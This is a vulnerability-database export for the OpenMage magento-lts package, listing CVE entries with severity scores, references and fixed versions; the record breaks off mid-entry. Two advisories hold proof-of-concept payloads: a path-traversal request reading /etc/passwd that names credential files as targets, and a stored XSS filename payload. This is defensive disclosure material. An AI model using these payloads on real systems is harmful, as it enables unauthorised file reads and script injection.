url pkg:composer/openmage/magento-lts@20.12.3
purl pkg:composer/openmage/magento-lts@20.12.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-cbms-5g8f-wyg6
4
vulnerability VCID-fken-twwj-gkaq
5
vulnerability VCID-mdd4-wk6v-a3cw
6
vulnerability VCID-upex-64ca-uqbf
7
vulnerability VCID-xazc-hmj9-guas
8
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.12.3
aliases CVE-2025-27400, GHSA-5pxh-89cx-4668
risk_score 1.4
exploitability 0.5
weighted_severity 2.7
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9axm-6vqd-tkag
5
url VCID-9tvj-q7kh-7faz
vulnerability_id VCID-9tvj-q7kh-7faz
summary
Deserialization of Untrusted Data
Magento-lts is a long-term support alternative to Magento Community Edition (CE). In magento-lts versions 19.4.12 and prior and 20.0.8 and prior, there is a vulnerability caused by the unsecured deserialization of an object. A patch in versions 19.4.13 and 20.0.9 was back ported from Zend Framework 3. The vulnerability was assigned CVE-2021-3007 in Zend Framework.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-21426
reference_id
reference_type
scores
0
value 0.00405
scoring_system epss
scoring_elements 0.61369
published_at 2026-06-08T12:55:00Z
1
value 0.00405
scoring_system epss
scoring_elements 0.61344
published_at 2026-06-04T12:55:00Z
2
value 0.00405
scoring_system epss
scoring_elements 0.61392
published_at 2026-06-05T12:55:00Z
3
value 0.00405
scoring_system epss
scoring_elements 0.614
published_at 2026-06-06T12:55:00Z
4
value 0.00405
scoring_system epss
scoring_elements 0.61387
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-21426
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-21426
reference_id CVE-2021-21426
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-21426
2
reference_url https://github.com/advisories/GHSA-m496-x567-f98c
reference_id GHSA-m496-x567-f98c
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-m496-x567-f98c
3
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-m496-x567-f98c
reference_id GHSA-m496-x567-f98c
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-m496-x567-f98c
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.13
purl pkg:composer/openmage/magento-lts@19.4.13
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-jr6u-gjtr-3udv
16
vulnerability VCID-kctp-3z8m-5fg2
17
vulnerability VCID-mdd4-wk6v-a3cw
18
vulnerability VCID-tqce-uume-myc2
19
vulnerability VCID-upex-64ca-uqbf
20
vulnerability VCID-xazc-hmj9-guas
21
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.13
1
url pkg:composer/openmage/magento-lts@20.0.9
purl pkg:composer/openmage/magento-lts@20.0.9
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.9
2
url pkg:composer/openmage/magento-lts@20.0.10
purl pkg:composer/openmage/magento-lts@20.0.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-jr6u-gjtr-3udv
16
vulnerability VCID-kctp-3z8m-5fg2
17
vulnerability VCID-mdd4-wk6v-a3cw
18
vulnerability VCID-tqce-uume-myc2
19
vulnerability VCID-upex-64ca-uqbf
20
vulnerability VCID-xazc-hmj9-guas
21
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.10
aliases CVE-2021-21426, GHSA-m496-x567-f98c
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9tvj-q7kh-7faz
6
url VCID-9ztp-ffqs-4yh4
vulnerability_id VCID-9ztp-ffqs-4yh4
summary
Magento LTS vulnerable to stored Cross-site Scripting (XSS) in admin system configs
This XSS vulnerability is about the system configs
* design/header/welcome
* design/header/logo_src
* design/header/logo_src_small
* design/header/logo_alt

They are intended to enable admins to set a text in the two cases, and to define an image url for the other two cases.
But because of previously missing escaping allowed to input arbitrary html and as a consequence also arbitrary JavaScript.

While this is in most usage scenarios not a relevant issue, some people work with more restrictive roles in the backend. Here the ability to inject JavaScript with these settings would be an unintended and unwanted privilege.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-41676
reference_id
reference_type
scores
0
value 0.00669
scoring_system epss
scoring_elements 0.71703
published_at 2026-06-08T12:55:00Z
1
value 0.00669
scoring_system epss
scoring_elements 0.71717
published_at 2026-06-07T12:55:00Z
2
value 0.00669
scoring_system epss
scoring_elements 0.7174
published_at 2026-06-06T12:55:00Z
3
value 0.00669
scoring_system epss
scoring_elements 0.71734
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-41676
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/484cf8afc550e98bbf2c03fbb29a8450a32e7948
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T15:41:02Z/
url https://github.com/OpenMage/magento-lts/commit/484cf8afc550e98bbf2c03fbb29a8450a32e7948
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-41676
reference_id CVE-2024-41676
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
1
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-41676
4
reference_url https://github.com/advisories/GHSA-5vrp-638w-p8m2
reference_id GHSA-5vrp-638w-p8m2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5vrp-638w-p8m2
5
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5vrp-638w-p8m2
reference_id GHSA-5vrp-638w-p8m2
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value 5.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T15:41:02Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5vrp-638w-p8m2
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.10.1
purl pkg:composer/openmage/magento-lts@20.10.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-cbms-5g8f-wyg6
5
vulnerability VCID-fken-twwj-gkaq
6
vulnerability VCID-mdd4-wk6v-a3cw
7
vulnerability VCID-upex-64ca-uqbf
8
vulnerability VCID-xazc-hmj9-guas
9
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.10.1
aliases CVE-2024-41676, GHSA-5vrp-638w-p8m2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9ztp-ffqs-4yh4
7
url VCID-b33e-r7rr-pyf7
vulnerability_id VCID-b33e-r7rr-pyf7
summary
Path Traversal
OpenMage is a community-driven alternative to Magento CE. In OpenMage there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to update product data to be able to store an executable file on the server and load it via layout xml.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26252
reference_id
reference_type
scores
0
value 0.01664
scoring_system epss
scoring_elements 0.82422
published_at 2026-06-04T12:55:00Z
1
value 0.01664
scoring_system epss
scoring_elements 0.8245
published_at 2026-06-05T12:55:00Z
2
value 0.01664
scoring_system epss
scoring_elements 0.82449
published_at 2026-06-06T12:55:00Z
3
value 0.01664
scoring_system epss
scoring_elements 0.82447
published_at 2026-06-07T12:55:00Z
4
value 0.01664
scoring_system epss
scoring_elements 0.82441
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-26252
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26252
reference_id CVE-2020-26252
reference_type
scores
url https://nvd.nist.gov/vuln/detail/CVE-2020-26252
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.10
purl pkg:composer/openmage/magento-lts@19.4.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b7ua-zfks-fyg5
8
vulnerability VCID-cbms-5g8f-wyg6
9
vulnerability VCID-dg5g-wnuf-ryad
10
vulnerability VCID-dj3k-4q1f-xfbh
11
vulnerability VCID-fken-twwj-gkaq
12
vulnerability VCID-g75g-ab3s-y7db
13
vulnerability VCID-gewj-4tzh-k3e5
14
vulnerability VCID-gn12-464m-fkcu
15
vulnerability VCID-h9n9-9mxj-zqd6
16
vulnerability VCID-jfan-uqf5-3qhd
17
vulnerability VCID-jr6u-gjtr-3udv
18
vulnerability VCID-kctp-3z8m-5fg2
19
vulnerability VCID-mdd4-wk6v-a3cw
20
vulnerability VCID-tqce-uume-myc2
21
vulnerability VCID-upex-64ca-uqbf
22
vulnerability VCID-xazc-hmj9-guas
23
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.10
1
url pkg:composer/openmage/magento-lts@20.0.6
purl pkg:composer/openmage/magento-lts@20.0.6
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b7ua-zfks-fyg5
8
vulnerability VCID-cbms-5g8f-wyg6
9
vulnerability VCID-dg5g-wnuf-ryad
10
vulnerability VCID-dj3k-4q1f-xfbh
11
vulnerability VCID-fken-twwj-gkaq
12
vulnerability VCID-g75g-ab3s-y7db
13
vulnerability VCID-gewj-4tzh-k3e5
14
vulnerability VCID-gn12-464m-fkcu
15
vulnerability VCID-h9n9-9mxj-zqd6
16
vulnerability VCID-jfan-uqf5-3qhd
17
vulnerability VCID-jr6u-gjtr-3udv
18
vulnerability VCID-kctp-3z8m-5fg2
19
vulnerability VCID-mdd4-wk6v-a3cw
20
vulnerability VCID-tqce-uume-myc2
21
vulnerability VCID-upex-64ca-uqbf
22
vulnerability VCID-xazc-hmj9-guas
23
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.6
aliases CVE-2020-26252, GHSA-99m6-r53j-4hh2
risk_score null
exploitability 0.5
weighted_severity 0.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-b33e-r7rr-pyf7
8
url VCID-b7ua-zfks-fyg5
vulnerability_id VCID-b7ua-zfks-fyg5
summary
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Magento-lts is a long-term support alternative to Magento Community Edition (CE). A vulnerability in magento-lts versions before 19.4.13 and 20.0.9 potentially allows an administrator unauthorized access to restricted resources. This is a backport of CVE-2021-21024. The vulnerability is patched in versions 19.4.13 and 20.0.9.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-21427
reference_id
reference_type
scores
0
value 0.00636
scoring_system epss
scoring_elements 0.70821
published_at 2026-06-08T12:55:00Z
1
value 0.00636
scoring_system epss
scoring_elements 0.70803
published_at 2026-06-04T12:55:00Z
2
value 0.00636
scoring_system epss
scoring_elements 0.70845
published_at 2026-06-05T12:55:00Z
3
value 0.00636
scoring_system epss
scoring_elements 0.70852
published_at 2026-06-06T12:55:00Z
4
value 0.00636
scoring_system epss
scoring_elements 0.70835
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-21427
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-21427
reference_id CVE-2021-21427
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-21427
2
reference_url https://github.com/advisories/GHSA-fvrf-9428-527m
reference_id GHSA-fvrf-9428-527m
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fvrf-9428-527m
3
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-fvrf-9428-527m
reference_id GHSA-fvrf-9428-527m
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-fvrf-9428-527m
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.13
purl pkg:composer/openmage/magento-lts@19.4.13
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-jr6u-gjtr-3udv
16
vulnerability VCID-kctp-3z8m-5fg2
17
vulnerability VCID-mdd4-wk6v-a3cw
18
vulnerability VCID-tqce-uume-myc2
19
vulnerability VCID-upex-64ca-uqbf
20
vulnerability VCID-xazc-hmj9-guas
21
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.13
1
url pkg:composer/openmage/magento-lts@20.0.9
purl pkg:composer/openmage/magento-lts@20.0.9
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.9
2
url pkg:composer/openmage/magento-lts@20.0.10
purl pkg:composer/openmage/magento-lts@20.0.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-jr6u-gjtr-3udv
16
vulnerability VCID-kctp-3z8m-5fg2
17
vulnerability VCID-mdd4-wk6v-a3cw
18
vulnerability VCID-tqce-uume-myc2
19
vulnerability VCID-upex-64ca-uqbf
20
vulnerability VCID-xazc-hmj9-guas
21
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.10
aliases CVE-2021-21427, GHSA-fvrf-9428-527m
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-b7ua-zfks-fyg5
9
url VCID-cbms-5g8f-wyg6
vulnerability_id VCID-cbms-5g8f-wyg6
summary
OpenMage LTS has a Path Traversal Filter Bypass in Dataflow Module
The Dataflow module in OpenMage LTS uses a weak blacklist filter (`str_replace('../', '', $input)`) to prevent path traversal attacks. This filter can be bypassed using patterns like `..././` or `....//`, which after the replacement still result in `../`. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.


| Metric                   | Value     | Justification                         |
| ------------------------ | --------- | ------------------------------------- |
| Attack Vector (AV)       | Network   | Exploitable via admin panel           |
| Attack Complexity (AC)   | Low       | Simple bypass pattern                 |
| Privileges Required (PR) | High      | Requires admin authentication         |
| User Interaction (UI)    | None      | No additional user interaction needed |
| Scope (S)                | Unchanged | Impacts the vulnerable component      |
| Confidentiality (C)      | High      | Can read sensitive system files       |
| Integrity (I)            | None      | Read-only vulnerability               |
| Availability (A)         | None      | No impact on availability             |

## Affected Products

- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths

## Affected Files

| File                                                         | Line | Vulnerable Code                          |
| ------------------------------------------------------------ | ---- | ---------------------------------------- |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php`   | 67   | `str_replace('../', '', urldecode(...))` |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php` | 63   | `str_replace('../', '', urldecode(...))` |

## Vulnerability Details

The Dataflow module allows administrators to import data from files. The `files` parameter specifies which file to import from the `var/import/` directory. To prevent path traversal, the code uses `str_replace()` to remove `../` sequences:

```php
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));
```

However, `str_replace()` only performs a single pass, making it trivially bypassable:

### Bypass Examples

| Input                          | After `str_replace('../', '', ...)` | Result    |
| ------------------------------ | ----------------------------------- | --------- |
| `..././`                       | `../`                               | Bypass    |
| `....//`                       | `../`                               | Bypass    |
| `..././..././..././etc/passwd` | `../../../etc/passwd`               | File read |

### Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the `files` parameter to: `..././..././..././etc/passwd`
5. Run the profile to read the contents of `/etc/passwd`

### Proof of Concept

```
# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd
```

## Remediation

Replace the weak `str_replace()` filter with `basename()` to extract only the filename:

```php
// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));
```

Using `basename()` ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

## Workarounds

If immediate upgrade is not possible:

1. **Restrict admin access**: Limit Dataflow access to trusted administrators only
2. **Disable Dataflow**: If not in use, disable the Dataflow module entirely
3. **Web Application Firewall**: Block requests containing path traversal patterns
4. **File permissions**: Ensure the web server user has minimal filesystem permissions
5. **Monitor admin activity**: Alert on suspicious Dataflow profile execution

## Impact

An attacker with admin access can read sensitive files including:

- `/etc/passwd` - System user information
- `app/etc/local.xml` - Database credentials
- `.env` files - Environment secrets
- Log files - Potentially sensitive application data
- Configuration files - Server and application configuration

## Credit

This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.

## Timeline

- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25525
reference_id
reference_type
scores
0
value 0.00068
scoring_system epss
scoring_elements 0.21007
published_at 2026-06-08T12:55:00Z
1
value 0.00068
scoring_system epss
scoring_elements 0.21071
published_at 2026-06-07T12:55:00Z
2
value 0.00068
scoring_system epss
scoring_elements 0.21115
published_at 2026-06-06T12:55:00Z
3
value 0.00068
scoring_system epss
scoring_elements 0.21128
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25525
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/pull/5445
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/pull/5445
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
4
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-6vqf-6fhm-7rc6
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-21T13:27:13Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-6vqf-6fhm-7rc6
5
reference_url https://hackerone.com/reports/3482926
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://hackerone.com/reports/3482926
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25525
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25525
7
reference_url https://github.com/advisories/GHSA-6vqf-6fhm-7rc6
reference_id GHSA-6vqf-6fhm-7rc6
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-6vqf-6fhm-7rc6
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.17.0
purl pkg:composer/openmage/magento-lts@20.17.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-upex-64ca-uqbf
1
vulnerability VCID-xazc-hmj9-guas
2
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.17.0
aliases CVE-2026-25525, GHSA-6vqf-6fhm-7rc6
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-cbms-5g8f-wyg6
10
url VCID-dg5g-wnuf-ryad
vulnerability_id VCID-dg5g-wnuf-ryad
summary
Magento LTS vulnerable to stored XSS in admin file form
### Summary
OpenMage is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields.

### Details
`Mage_Adminhtml_Block_System_Config_Form_Field_File` does not escape filename value in certain situations.
Same as: https://nvd.nist.gov/vuln/detail/CVE-2024-20717

### PoC
1. Create empty file with this filename: `<img src=x onerror=alert(1)>.crt`
2. Go to _System_ > _Configuration_ > _Sales | Payment Methonds_.
3. Click **Configure** on _PayPal Express Checkout_.
4. Choose **API Certificate** from dropdown _API Authentication Methods_.
5. Choose the XSS-file and click **Save Config**.
6. Profit, alerts "1" -> XSS.
7. Reload, alerts "1" -> Stored XSS.

### Impact
Affects admins that have access to any fileupload field in admin in core or custom implementations.
Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
references
0
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-20717
reference_id CVE-2024-20717
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-20717
2
reference_url https://github.com/advisories/GHSA-gp6m-fq6h-cjcx
reference_id GHSA-gp6m-fq6h-cjcx
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gp6m-fq6h-cjcx
3
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-gp6m-fq6h-cjcx
reference_id GHSA-gp6m-fq6h-cjcx
reference_type
